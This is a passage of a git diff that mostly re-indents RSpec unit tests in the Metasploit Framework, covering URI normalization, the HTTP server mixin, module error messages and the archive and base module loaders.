expected_normalized_uri + end - it "should start with '/'" do - unnormalized_uri[0, 1].should == '/' - end + it "should start with '/'" do + unnormalized_uri[0, 1].should == '/' + end - it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri - end + it "should not add another starting '/'" do + normalized_uri.should == expected_normalized_uri + end - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end - context "with multiple starting '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri}" - end + context "with multiple starting '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri}" + end - it "should have at least 2 starting '/'" do - unnormalized_uri[0, 2].should == '//' - end + it "should have at least 2 starting '/'" do + unnormalized_uri[0, 2].should == '//' + end - it "should return with one starting '/'" do - normalized_uri.should == expected_normalized_uri - end - end + it "should return with one starting '/'" do + normalized_uri.should == expected_normalized_uri + end + end - context "with trailing '/'" do - let(:expected_normalized_uri) do - '/a/b/c/' - end + context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end - it "should end with '/'" do - normalized_uri[-1, 1].should == '/' - end + it "should end with '/'" do + normalized_uri[-1, 1].should == '/' + end - context "with multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end + context "with multiple trailing '/'" do + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end - it "should have multiple trailing '/'" do - unnormalized_uri[-2,2].should == '//' - end + it "should have multiple trailing '/'" do + unnormalized_uri[-2,2].should == '//' + end - it "should return only one trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should return only one trailing '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without trailing '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end + context "without trailing '/'" do + let(:unnormalized_uri) do + expected_normalized_uri + end - it "should not have a trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end + it "should not have a trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end - it "should return original string" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should return original string" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without starting '/'" do - context "with trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c/' - end - let(:expected_normalized_uri) do - '/a/b/c/' - end + context "without starting '/'" do + context "with trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c/' + end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "should have trailing '/'" do - unnormalized_uri[-1, 1].should == '/' - end + it "should have trailing '/'" do + unnormalized_uri[-1, 1].should == '/' + end - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end - it "should not remove trailing '/'" do - normalized_uri[-1, 1].should == '/' - end + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' + end - it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}" - end + it 'should normalize the uri' do + normalized_uri.should == "#{expected_normalized_uri}" + end - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end + context "without trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end - it "should not have trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end + it "should not have trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end - it "should add trailing '/'" do - normalized_uri[-1, 1].should_not == '/' - end - end - end + it "should add trailing '/'" do + normalized_uri[-1, 1].should_not == '/' + end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end - end + it "should return '/" do + normalized_uri.should == '/' + end + end + end end diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index e2d4c358e5..84469dea41 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,83 +6,83 @@ require 'msf/core' require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do - subject(:server_module) do - mod = Msf::Exploit.allocate - mod.extend described_class - mod.send(:initialize, {}) + subject(:server_module) do + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, {}) - mod - end + mod + end - let(:mock_service) do - mock_service = double("service") - mock_service.stub(:server_name=) - mock_service.stub(:add_resource) + let(:mock_service) do + mock_service = double("service") + mock_service.stub(:server_name=) + mock_service.stub(:add_resource) - mock_service - end + mock_service + end - before do - Rex::ServiceManager.stub(:start => mock_service) - end + before do + Rex::ServiceManager.stub(:start => mock_service) + end - describe "#add_resource" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#add_resource" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.add_resource('Path' => 'foo') - end + mock_service.should_receive(:add_resource) + server_module.add_resource('Path' => 'foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - server_module.add_resource('Path' => 'foo') + server_module.add_resource('Path' => 'foo') - expect { server_module.add_resource('Path' => 'foo') }.to raise_error - end + expect { server_module.add_resource('Path' => 'foo') }.to raise_error + end - end + end - describe "#cleanup" do - it "should not remove resources if none were successfully added" do - server_module.should_not_receive(:remove_resource) - server_module.cleanup - end + describe "#cleanup" do + it "should not remove resources if none were successfully added" do + server_module.should_not_receive(:remove_resource) + server_module.cleanup + end - it "should remove successfully-added resources" do - # setup - server_module.start_service - resources = [ 'a', 'b', 'c' ] - resources.each { |r| server_module.add_resource('Path' => r) } + it "should remove successfully-added resources" do + # setup + server_module.start_service + resources = [ 'a', 'b', 'c' ] + resources.each { |r| server_module.add_resource('Path' => r) } - # The service will add one resource as part of #start_service, so - # add that to the number that we added manually - server_module.should_receive(:remove_resource).exactly(resources.count + 1).times - server_module.cleanup - end + # The service will add one resource as part of #start_service, so + # add that to the number that we added manually + server_module.should_receive(:remove_resource).exactly(resources.count + 1).times + server_module.cleanup + end - end + end - describe "#hardcoded_uripath" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#hardcoded_uripath" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.hardcoded_uripath('foo') - end + mock_service.should_receive(:add_resource) + server_module.hardcoded_uripath('foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - expect { server_module.hardcoded_uripath('foo') }.to raise_error - end - end + expect { server_module.hardcoded_uripath('foo') }.to raise_error + end + end end diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 48cd0e0cb5..9e121a31af 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -17,7 +17,7 @@ require 'tmpdir' require 'msf/core' describe Msf::ModuleManager do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' let(:archive_basename) do [basename_prefix, archive_extension] diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index 724e3fedd7..b67c31308e 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -2,101 +2,101 @@ require 'spec_helper' describe Msf::Modules::Error do - context 'instance methods' do - context '#initialize' do + context 'instance methods' do + context '#initialize' do include_context 'Msf::Modules::Error attributes' - context 'with :causal_message' do - subject do - described_class.new(:causal_message => causal_message) - end - - it 'should include causal_message in error' do - subject.to_s.should == "Failed to load module due to #{causal_message}" - end - end - - context 'with :causal_message and :module_path' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path - ) - end - - it 'should include causal_message and module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" - end - end - - context 'with :causal_message and :module_reference_name' do + context 'with :causal_message' do subject do - described_class.new( - :causal_message => causal_message, - :module_reference_name => module_reference_name - ) + described_class.new(:causal_message => causal_message) end - it 'should include causal_message and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" - end - end + it 'should include causal_message in error' do + subject.to_s.should == "Failed to load module due to #{causal_message}" + end + end - context 'with :causal_message, :module_path, and :module_reference_nam' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + context 'with :causal_message and :module_path' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path + ) + end - it 'should include causal_message, module_path, and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" - end - end + it 'should include causal_message and module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" + end + end - context 'with :module_path' do - subject do - described_class.new(:module_path => module_path) - end + context 'with :causal_message and :module_reference_name' do + subject do + described_class.new( + :causal_message => causal_message, + :module_reference_name => module_reference_name + ) + end - it 'should use :module_path for module_path' do - subject.module_path.should == module_path - end + it 'should include causal_message and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" + end + end - it 'should include module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path})" - end - end + context 'with :causal_message, :module_path, and :module_reference_nam' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - context 'with :module_path and :module_reference_name' do - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + it 'should include causal_message, module_path, and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" + end + end - it 'should include module_path and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" - end - end + context 'with :module_path' do + subject do + described_class.new(:module_path => module_path) + end - context 'with :module_reference_name' do - subject do - described_class.new(:module_reference_name => module_reference_name) - end + it 'should use :module_path for module_path' do + subject.module_path.should == module_path + end - it 'should use :module_reference_name for module_reference_name' do - subject.module_reference_name.should == module_reference_name - end + it 'should include module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path})" + end + end - it 'should include module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name})" - end - end + context 'with :module_path and :module_reference_name' do + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - end - end + it 'should include module_path and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" + end + end + + context 'with :module_reference_name' do + subject do + described_class.new(:module_reference_name => module_reference_name) + end + + it 'should use :module_reference_name for module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + + it 'should include module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name})" + end + end + + end + end end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index c65409261d..aafa587f9d 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -4,273 +4,273 @@ require 'spec_helper' require 'msf/core' describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end + let(:archive_extension) do + '.fastlib' + end - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end + context 'CONSTANTS' do + it 'should have extension' do + described_class::ARCHIVE_EXTENSION.should == archive_extension + end + end - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end + context 'instance methods' do + let(:enabled_type) do + 'exploit' + end - let(:enabled_type_directory) do - 'exploits' - end + let(:enabled_type_directory) do + 'exploits' + end - let(:framework) do - double('Framework') - end + let(:framework) do + double('Framework') + end - let(:module_extension) do - '.rb' - end + let(:module_extension) do + '.rb' + end - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end + let(:module_manager) do + # DO NOT mock module_manager to ensure that no protected methods are being called. + Msf::ModuleManager.new(framework, [enabled_type]) + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end - subject do - described_class.new(module_manager) - end + subject do + described_class.new(module_manager) + end - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + context '#each_module_reference_name' do + let(:disabled_module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary end - EOS - end + EOS + end - let(:disabled_type) do - 'auxiliary' - end + let(:disabled_type) do + 'auxiliary' + end - let(:disabled_type_directory) do - 'auxiliary' - end + let(:disabled_type_directory) do + 'auxiliary' + end - let(:enabled_module_content) do + let(:enabled_module_content) do <<-EOS class Metasploit3 < Msf::Exploit::Remote end EOS - end + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory + around(:each) do |example| + Dir.mktmpdir do |directory| + @base_path = directory - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path + # make a .svn directory to be ignored + subversion_path = File.join(@base_path, '.svn') + FileUtils.mkdir_p subversion_path - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path + # make a type directory that should be ignored because it's not enabled + disabled_type_path = File.join(@base_path, disabled_type_directory) + FileUtils.mkdir_p disabled_type_path - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # + # + # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the + # yield + # - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") + disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end + File.open(disabled_module_path, 'wb') do |f| + f.write(disabled_module_content) + end - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p enabled_module_directory + # make a type directory that should not be ignored because it is enabled + enabled_module_path = File.join( + @base_path, + enabled_type_directory, + "#{module_reference_name}#{module_extension}" + ) + enabled_module_directory = File.dirname(enabled_module_path) + FileUtils.mkdir_p enabled_module_directory - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end + File.open(enabled_module_path, 'wb') do |f| + f.write(enabled_module_content) + end - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) + Dir.mktmpdir do |archive_directory| + @archive_path = File.join(archive_directory, "rspec#{archive_extension}") + FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around + FastLib.cache.clear - example.run - end - end - end + example.run + end + end + end - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true - end + # this checks that the around(:each) is working + it 'should have an existent FastLib' do + File.exist?(@archive_path).should be_true + end - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end + it 'should ignore .svn directories' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should_not include('.svn') + end + end - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false + it 'should ignore types that are not enabled' do + module_manager.type_enabled?(disabled_type).should be_false - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should_not == disabled_type + end + end - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end + it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should == @archive_path + end + end - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true + it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do + module_manager.type_enabled?(enabled_type).should be_true - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should == enabled_type + end + end - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end + it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) + module_reference_name.should == module_reference_name + end + end - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 + # ensure that the block is actually being run so that shoulds in the block aren't just being skipped + it 'should yield the correct number of tuples' do + actual_count = 0 - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + actual_count += 1 + end - actual_count.should == 1 - end - end + actual_count.should == 1 + end + end - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" + context '#loadable?' do + it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do + path = "path/to/archive#{archive_extension}" - File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true - end + File.extname(path).should == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_true + end - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" + it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do + path = "path/to/archive#{archive_extension}.bak" - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false - end - end + path.should include(described_class::ARCHIVE_EXTENSION) + File.extname(path).should_not == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_false + end + end - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end + context '#module_path' do + let(:parent_path) do + "path/to/archive#{archive_extension}" + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - let(:type_directory) do - 'exploits' - end + let(:type_directory) do + 'exploits' + end - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) + it 'should use typed_path to convert the type name to a type directory' do + subject.should_receive(:typed_path).with(type, module_reference_name) - subject.send(:module_path, parent_path, type, module_reference_name) - end + subject.send(:module_path, parent_path, type, module_reference_name) + end - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) + it "should separate the archive path from the entry path with '::'" do + module_path = subject.send(:module_path, parent_path, type, module_reference_name) - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end + module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" + end + end - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end + context '#read_module_path' do + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end - let(:type) do - enabled_type - end + let(:type) do + enabled_type + end - let(:type_directory) do - enabled_type_directory - end + let(:type_directory) do + enabled_type_directory + end - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end + let(:archived_path) do + File.join(type_directory, "#{module_reference_name}#{module_extension}") + end - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end - let(:flag_string) do - flags.to_s(16) - end + let(:flag_string) do + flags.to_s(16) + end - let(:flags) do - 0x0 - end + let(:flags) do + 0x0 + end - let(:unarchived_path) do - File.join(base_path, archived_path) - end + let(:unarchived_path) do + File.join(base_path, archived_path) + end - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true - end + it 'should read modules that exist' do + File.exist?(unarchived_path).should be_true + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') + around(:each) do |example| + Dir.mktmpdir do |directory| + @parent_path = File.join(directory, 'rspec.fastlib') - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) + FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct + FastLib.cache.clear - example.run - end - end + example.run + end + end - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end + context 'with uncompressed archive' do + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end + context 'with compressed archive' do + let(:flags) do + FastLib::FLAG_COMPRESS + end - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 916b23d0ae..3f6e69063e 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -4,1334 +4,1334 @@ require 'spec_helper' require 'msf/core' describe Msf::Modules::Loader::Base do - include_context 'Msf::Modules::Loader::Base' + include_context 'Msf::Modules::Loader::Base' - let(:described_class_pathname) do - root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') - end + let(:described_class_pathname) do + root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') + end - let(:malformed_module_content) do - <<-EOS + let(:malformed_module_content) do + <<-EOS class Metasploit3 # purposeful typo to check that module path is used in backtrace inclde Exploit::Remote::Tcp end - EOS - end + EOS + end - let(:module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + let(:module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary # fully-qualified name is Msf::GoodRanking, so this will failing if lexical scope is not captured Rank = GoodRanking end - EOS - end + EOS + end - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end - let(:module_path) do - parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s - end + let(:module_path) do + parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s + end - let(:module_reference_name) do - 'rspec/mock' - end + let(:module_reference_name) do + 'rspec/mock' + end - let(:type) do - Msf::MODULE_AUX - end + let(:type) do + Msf::MODULE_AUX + end - context 'CONSTANTS' do + context 'CONSTANTS' do - context 'DIRECTORY_BY_TYPE' do - let(:directory_by_type) do - described_class::DIRECTORY_BY_TYPE - end + context 'DIRECTORY_BY_TYPE' do + let(:directory_by_type) do + described_class::DIRECTORY_BY_TYPE + end - it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true - end + it 'should be defined' do + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + end - it 'should map Msf::MODULE_AUX to auxiliary' do - directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' - end + it 'should map Msf::MODULE_AUX to auxiliary' do + directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' + end - it 'should map Msf::MODULE_ENCODER to encoders' do - directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' - end + it 'should map Msf::MODULE_ENCODER to encoders' do + directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' + end - it 'should map Msf::MODULE_EXPLOIT to exploits' do - directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' - end + it 'should map Msf::MODULE_EXPLOIT to exploits' do + directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' + end - it 'should map Msf::MODULE_NOP to nops' do - directory_by_type[Msf::MODULE_NOP].should == 'nops' - end + it 'should map Msf::MODULE_NOP to nops' do + directory_by_type[Msf::MODULE_NOP].should == 'nops' + end - it 'should map Msf::MODULE_PAYLOAD to payloads' do - directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' - end + it 'should map Msf::MODULE_PAYLOAD to payloads' do + directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' + end - it 'should map Msf::MODULE_POST to post' do - directory_by_type[Msf::MODULE_POST].should == 'post' - end - end + it 'should map Msf::MODULE_POST to post' do + directory_by_type[Msf::MODULE_POST].should == 'post' + end + end - context 'NAMESPACE_MODULE_LINE' do - it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do - file_lines = [] + context 'NAMESPACE_MODULE_LINE' do + it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do + file_lines = [] - described_class_pathname.open do |f| - file_lines = f.to_a - end + described_class_pathname.open do |f| + file_lines = f.to_a + end - # -1 because file lines are 1-based, but array is 0-based - file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] + # -1 because file lines are 1-based, but array is 0-based + file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] - constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a - constant_line = constant_lines.first + constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a + constant_line = constant_lines.first - file_line.should == constant_line - end - end + file_line.should == constant_line + end + end - context 'NAMESPACE_MODULE_CONTENT' do - context 'derived module' do - let(:namespace_module_names) do - ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] - end + context 'NAMESPACE_MODULE_CONTENT' do + context 'derived module' do + let(:namespace_module_names) do + ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] + end - let(:namespace_module) do - Object.module_eval( - <<-EOS - module #{namespace_module_names[0]} + let(:namespace_module) do + Object.module_eval( + <<-EOS + module #{namespace_module_names[0]} module #{namespace_module_names[1]} module #{namespace_module_names[2]} - #{described_class::NAMESPACE_MODULE_CONTENT} + #{described_class::NAMESPACE_MODULE_CONTENT} end end end - EOS - ) + EOS + ) - namespace_module_names.join('::').constantize - end - - context 'loader' do - it 'should be a read/write attribute' do - loader = double('Loader') - namespace_module.loader = loader - - namespace_module.loader.should == loader - end - end - - context 'module_eval_with_lexical_scope' do - it 'should capture the lexical scope' do - expect { - namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error - end - - context 'with malformed module content' do - it 'should use module path in module_eval' do - error = nil - - begin - namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) - rescue NoMethodError => error - # don't put the should in the rescue because if there is no error, then the example will still be - # successful. - end - - error.should_not be_nil - error.backtrace[0].should include(module_path) - end - end - end - - context 'parent_path' do - it 'should be a read/write attribute' do - parent_path = double('Parent Path') - namespace_module.parent_path = parent_path - - namespace_module.parent_path.should == parent_path - end - end - end - end - - context 'MODULE_EXTENSION' do - it 'should only support ruby source modules' do - described_class::MODULE_EXTENSION.should == '.rb' - end - end - - context 'MODULE_SEPARATOR' do - it 'should make valid module names' do - name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) - name.constantize.should == Msf::Modules - end - end - - context 'NAMESPACE_MODULE_NAMES' do - it 'should be under Msf so that Msf constants resolve from lexical scope' do - described_class::NAMESPACE_MODULE_NAMES.should include('Msf') - end - - it "should not be directly under Msf so that modules don't collide with core namespaces" do - direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') - last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - - last_index.should > direct_index - end - end - - context 'UNIT_TEST_REGEX' 